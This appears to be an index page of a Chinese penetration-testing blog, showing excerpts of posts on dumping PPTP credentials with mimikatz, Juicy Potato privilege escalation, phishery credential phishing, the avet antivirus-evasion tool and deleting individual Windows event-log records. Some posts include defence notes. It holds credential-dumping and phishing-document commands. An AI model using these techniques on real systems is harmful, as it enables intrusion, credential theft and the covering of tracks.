Good in study, attitude and health

  • 渗透技巧——PPTP口令的获取与爆破

    0x00 前言 PPTP(即点对点隧道协议)可以使远程用户通过拨入ISP访问企业内网。 在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。 本文将要介绍命令行下导出PPTP配置信息和口令的方法,开源PPTP口令爆破的脚本 0x01 简介 本文将要介绍以下内容: Windows系统命令行下PPTP配置信息和口令的获取 Windows系统命令行开启和关闭VPN连接 Windows系统连接PPTP的方法和细节 Kali系统连接PPTP的方法和细节 PPTP口令爆破的脚本细节 0x02 Windows系统命令行下PPTP配置信息和口令的获取 1、获取PPTP配置信息 Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下: %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk 查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令 VPN连接的名称为VPN Connection,如下图 PhoneNumber表示连接的服务器IP,如下图 2、获得内网IP ipconfig 获得内网IP,如下图 3、获得PPTP口令 使用工具mimiaktz,命令如下: mimikatz.exe privilege::debug token::elevate lsadump::secrets exit 获得连接用户名和口令,如下图 4、命令行下连接VPN rasdial "VPN Connection" zhaodg oZ7iFk25 如下图 5、命令行关闭VPN连接 rasphone -h "VPN Connection" 0x03 Windows系统PPTP连接的方法和细节 1. 2. 3....

  • 渗透技巧——利用虚拟磁盘实现的“无文件”

    0x00 前言 在渗透测试中,常常会使用代码注入、内存执行、注册表、powershell或是wmi等无文件的技术,增加被检测和分析的难度。 站在渗透的角度,某些条件下并不能做到整个过程的“无文件”,需要向硬盘写入文件,这就很有可能被取证和分析。 最近我看到了一篇文章介绍了利用虚拟磁盘的方法,正好能解决这个问题。 而站在防御的角度,针对这种方法该如何检测和拦截呢? 参考的文章地址: https://diablohorn.com/2018/08/06/creating-a-ram-disk-through-meterpreter/ 本文将要对其进行测试,介绍实现细节,解决原文中未解决的问题,结合利用思路,分析检测和拦截的方法。 0x01 简介 本文将要介绍以下内容: 实现原理 方法复现 删除残留的硬盘图标 支持对文件夹的操作 取证分析 检测拦截 0x02 实现原理 Windows系统硬盘上对文件的删除操作,只修改了文件的MFT,如果文件内容尚未被覆盖,就能恢复文件 详细的删除和恢复介绍可参考之前的文章《渗透技巧——Windows系统的文件恢复与删除》 如果使用虚拟磁盘,将内存映射到本地,创建内存磁盘,使用上同真正的硬盘没有区别,并且有如下两个优点: 不会对硬盘进行写操作,也就不存在硬盘文件的恢复 系统重启后,内存磁盘中的文件自动删除 0x03 方法复现 对文章的实现方法进行复现,地址: https://diablohorn.com/2018/08/06/creating-a-ram-disk-through-meterpreter/ ImDisk 开源工具,能够创建虚拟磁盘,介绍和下载地址: http://www.ltr-data.se/opencode.html/ 安装时会弹框提示用户,如下图 安装成功后在C:\Windows\System32\drivers\下释放驱动文件imdisk.sys,在C:\Windows\System32\释放启动程序imdisk.exe及其支持文件 安装成功后,命令行输入imdisk启动ImDisk,回显命令说明 二次利用 作者DiabloHorn借助开源工具ImDisk,对其进行二次利用,实现命令行下的安装、加载和虚拟磁盘的创建删除 准备工作: 1、编写代码实现驱动的安装、加载和虚拟磁盘的创建删除 代码地址: https://github.com/DiabloHorn/cliramdisk 我的测试编译环境是VS2015,将工程中头文件stdafx.h中包含的内容保存到cliramdisk.cpp中,直接编译通过,生成文件cliramdisk.exe 2、测试系统安装ImDisk获得驱动文件imdisk.sys 安装后,在位置``C:\Windows\System32\drivers`复制驱动文件imdisk.sys 值得注意的是驱动文件imdisk.sys包含数字签名 3、编写注册表文件,添加驱动文件信息 内容如下: Windows Registry Editor...

  • Windows本地提权工具Juicy Potato测试分析

    0x00 前言 Juicy Potato是一款Windows系统的本地提权工具,是在工具RottenPotatoNG的基础上做了扩展,适用条件更广 利用的前提是获得了SeImpersonate或者SeAssignPrimaryToken权限,通常在webshell下使用 那么,Juicy Potato的使用方法有哪些,有哪些限制条件呢?本文将对其进行测试,根据原理分析限制条件 Juicy Potato的下载地址: https://github.com/ohpe/juicy-potato 0x01 简介 本将要介绍以下内容: 实现原理 对RottenPotatoNG的扩展 枚举可用COM对象的方法 使用方法 限制条件 防御思路 0x02 实现原理 参考资料: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ 根据个人理解介绍实现原理 需要理解的几个知识: 使用DCOM时,如果以服务的方式远程连接,那么权限为System,例如BITS服务 使用DCOM可以通过TCP连接到本机的一个端口,发起NTLM认证,该认证可以被重放 LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程 Juicy Potato的实现流程如下: 1、加载COM,发出请求,权限为System 在指定ip和端口的位置尝试加载一个COM对象 RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097} 可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md 2、回应步骤1的请求,发起NTLM认证 正常情况下,由于权限不足,当前权限不是System,无法认证成功 3、针对本地端口,同样发起NTLM认证,权限为当前用户 由于权限为当前用户,所以NTLM认证能够成功完成 RottenPotatoNG使用的135端口 Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改 4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token 重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正 5、利用System权限的Token创建新进程...

  • 渗透技巧——Windows九种权限的利用

    0x00 前言 在之前的文章《渗透技巧——从Admin权限切换到System权限》和《渗透技巧——Token窃取与利用》分别介绍了从admin权限切换到system权限和TrustedInstaller权限的方法,其中的主要方法是利用token切换权限。 那么,普通用户(或者LocalService用户)的特殊Token有哪些可利用方法呢?能否提权?如何判断? 本文将要结合自己的经验,参考多个开源工具和资料,尝试对这个技巧做总结,分享学习心得 参考的开源工具和资料: Hot Potato: https://github.com/foxglovesec/Potato powershell版本Hot Potato: https://github.com/Kevin-Robertson/Tater Rotten Potato: https://github.com/breenmachine/RottenPotatoNG lonelypotato: https://github.com/decoder-it/lonelypotato Juicy Potato: https://github.com/ohpe/juicy-potato https://github.com/hatRiot/token-priv https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/ https://foxglovesecurity.com/2016/01/16/hot-potato/ https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/ 0x01 简介 本文将要介绍以下内容: 简要利用思路 SeImpersonatePrivilege权限对应的利用思路和开源代码 SeAssignPrimaryPrivilege权限对应的利用思路和开源代码 SeTcbPrivilege权限对应的利用思路和开源代码 SeBackupPrivilege权限对应的利用思路和开源代码 SeRestorePrivilege权限对应的利用思路和开源代码 SeCreateTokenPrivilege权限对应的利用思路和开源代码 SeLoadDriverPrivilege权限对应的利用思路和开源代码 SeTakeOwnershipPrivilege权限对应的利用思路和开源代码 SeDebugPrivilege权限对应的利用思路和开源代码 0x02 简要利用思路 1、取得了目标的访问权限后,查看可用权限 whoami /priv 例如,普通用户具有的权限如下图 管理员用户具有的权限如下图 iis用户具有的权限如下图 Privilege Name项表示具有的权限,State表示权限的状态,我们可以通过WinAPI AdjustTokenPrivileges将权限设置为Disabled或者Enabled 可供参考的实现代码:...

  • Phishing credentials via Basic Authentication(phishery)利用测试

    0x00 前言 phishery是一个简单的支持SSL的HTTP服务器,其主要目的是通过基本身份验证钓鱼获得目标的凭据。 本文将要对其进行测试,介绍测试细节,分析实现原理,扩展用法。 phishery地址: https://github.com/ryhanson/phishery 0x01 简介 本文将要介绍以下内容: phishery实际测试 实现原理 补充1: 使用openssh制作证书 补充2: php实现Basic Authentication 防御建议 0x02 phishery实际测试 测试系统: Win7x64 下载编译好的程序: https://github.com/ryhanson/phishery/releases/download/v1.0.2/phishery1.0.2windows-amd64.tar.gz 1、生成word文档 phishery -u https://secure.site.local/docs -i good.docx -o bad.docx 参数说明: https://secure.site.local/docs作为伪造的web服务器地址,docs为文件名称(该文件必须存在,默认对应文件template.dotx),目标用户在打开bad.docx时,会显示该域名 good.docx为输入的word文档,文档为正常内容 bad.docx为输出的word文档,在good.docx中插入Word document template 如下图 2、启动HTTPS Auth Server phishery 默认加载的配置文件为同级目录下的settings.json 内容如下: { "ip": "0.0.0.0", "port": "443", "sslCert":...

  • AntiVirus Evasion Tool(avet)测试分析

    0x00 前言 avet是一款用来绕过杀毒软件检测的工具,使用了多种不同的反病毒规避技术。 分别入选blackhat ASIA 2017 arsnal、blackhat USA 2017 arsnal和blackhat USA 2018 arsnal: https://www.blackhat.com/asia-17/arsenal.html#avet-antivirus-evasion-tool https://www.blackhat.com/us-17/arsenal/schedule/index.html#avet—antivirus-evasion-tool-7908 https://www.blackhat.com/us-18/arsenal/schedule/index.html#avet-antivirus-evasion-tool-10692 github开源地址: https://github.com/govolution/avet 本文将要对其进行测试,结合自己的经验分析avet使用的反病毒规避技术 0x01 简介 本文将要介绍以下内容: 环境搭建 使用流程 工具实现细节 技术细节分析 0x02 环境搭建 测试系统:kali2 x64 1、下载 https://github.com/govolution/avet 2、编译 如果使用32位kali系统,需要编译 gcc -o make_avet make_avet.c 64位kali系统不需要 3、安装wine32 否则,无法生成exe 如下图 安装命令: dpkg --add-architecture i386 && apt-get update &&...

  • 渗透技巧——Windows单条日志的删除

    0x00 前言 在之前的文章《渗透技巧——Windows日志的删除与绕过》介绍了常见的Windows日志清除与绕过方法,但未提到单条日志的清除。 这一次将要结合刚刚完成的Windows XML Event Log (EVTX)单条日志清除系列文章,介绍在渗透测试中Windows XML Event Log (EVTX)单条日志清除的具体使用方法,同时结合利用思路给出防御建议 Windows XML Event Log (EVTX)单条日志清除系列文章地址: Windows XML Event Log (EVTX)单条日志清除(一)——删除思路与实例 Windows XML Event Log (EVTX)单条日志清除(二)——程序实现删除evtx文件的单条日志记录 Windows XML Event Log (EVTX)单条日志清除(三)——通过解除文件占用删除当前系统单条日志记录 Windows XML Event Log (EVTX)单条日志清除(四)——通过注入获取日志文件句柄删除当前系统单条日志记录 Windows XML Event Log (EVTX)单条日志清除(五)——通过DuplicateHandle获取日志文件句柄删除当前系统单条日志记录 0x01 简介 本文将要介绍以下内容: 通过命令行获得日志信息 通过命令行导出日志文件 将修改后的日志文件覆盖系统原文件 细节和注意点 防御建议...

  • Windows Event Viewer Log (EVT)单条日志清除(三)——删除当前系统指定指定时间段evt日志记录

    0x00 前言 Windows Event Viewer Log (EVT)单条日志清除系列文章的第三篇,介绍删除当前系统指定时间段evt日志记录的方法和详细测试过程,说明无法修改日志数量的原因,最后开源查询日志内容和修改日志内容的实现代码 0x01 简介 本文将要介绍以下内容: XP系统下枚举系统所有句柄的方法 筛选日志文件句柄的条件 XP下Dll注入的实例代码 实际测试过程 无法修改日志数量的原因 日志查询的程序实现细节 日志修改的程序实现细节 0x02 XP系统下枚举系统所有句柄 之前的文章《Windows单条日志清除(五)——通过DuplicateHandle获取日志文件句柄删除当前系统单条日志记录》介绍了Win8及以上系统的实现方法: 利用NtQuerySystemInformation查询SystemHandleInformation能够获得所有进程的句柄信息 通过NtDuplicateObject获取句柄的名称和具体的数值信息 筛选出想要查找的句柄 通过DuplicateHandle复制句柄 获得修改日志文件的权限 在XP系统下,无法使用NtQuerySystemInformation查询SystemHandleInformation获得进程的句柄信息 参考processhacker的源码,寻找实现方法 代码位置: https://github.com/processhacker/processhacker/blob/e2d793289dede80f6e3bda26d6478dc58b20b7f8/ProcessHacker/hndlprv.c#L307 获得参考资料: On Windows 8 and later, NtQueryInformationProcess with ProcessHandleInformation is the most efficient method. On Windows XP and later, NtQuerySystemInformation with...

  • Windows Event Viewer Log (EVT)单条日志清除(二)——程序实现删除evt文件指定时间段的日志记录

    0x00 前言 Windows Event Viewer Log (EVT)单条日志清除系列文章的第二篇,介绍删除evt文件指定时间段日志记录的思路,解决在程序设计上需要考虑的多个问题,开源实现代码。 0x01 简介 本文将要介绍以下内容: 对指定evt文件指定时间段日志记录的删除思路 程序实现细节 开源代码 0x02 删除evt文件指定时间段日志记录的思路 对比之前文章中提到的evtx文件单条日志删除方法,evt文件无法使用相同的思路 这是因为evt的文件结构中不包括唯一值EventRecordID,也就无法定位到指定的日志 经过分析,发现可以选择日志的创建时间作为输入项,指定起始日期和结束日期,删除这个时间段内的日志内容 而日志创建时间的格式为time_t类型,这里需要做一个考虑time_t类型和格林威治标准时间(Greenwich Mean Time,GMT)之间的转换 在程序实现上,思路如下: 遍历所有日志,过滤掉符合删除条件的日志,保存剩下的日志内容 筛选完成后,后续日志的Record number作减法,减去删除的日志条数 更新file header中的End of file record offset,Last (newest) record number和Maximum file size 更新end of file record中的End of file record offset和Last (newest) record number 0x03 time_t类型和格林威治标准时间(Greenwich Mean...

  • Windows Event Viewer Log (EVT)单条日志清除(一)——删除思路与实例

    0x00 前言 Windows Event Viewer Log (EVT)单条日志清除系列文章的第一篇,侧重于介绍evt日志文件的基础知识和删除单条日志的实现思路与实例 Windows Event Viewer Log (EVT)适用于以下Windows系统: Windows NT 4 Windows 2000 Windows XP Windows 2003 注: 之前介绍了Windows XML Event Log (EVTX)适用于Win7及更高版本的系统 0x01 简介 本文将要介绍以下内容: evt文件格式 删除单条日志的思路 删除单条日志的实例 0x02 基础知识 evt文件格式指Windows Vista之前用于保存系统日志信息的文件,最常见的为XP和Server2003系统 日志文件默认保存位置: %systemroot%\system32\config 常见日志文件: 应用程序日志:AppEvent.Evt 安全日志:SecEvent.Evt 系统日志:SysEvent.Evt 查看日志的方法 (1) 通过界面 cmd -> eventvwr (2)...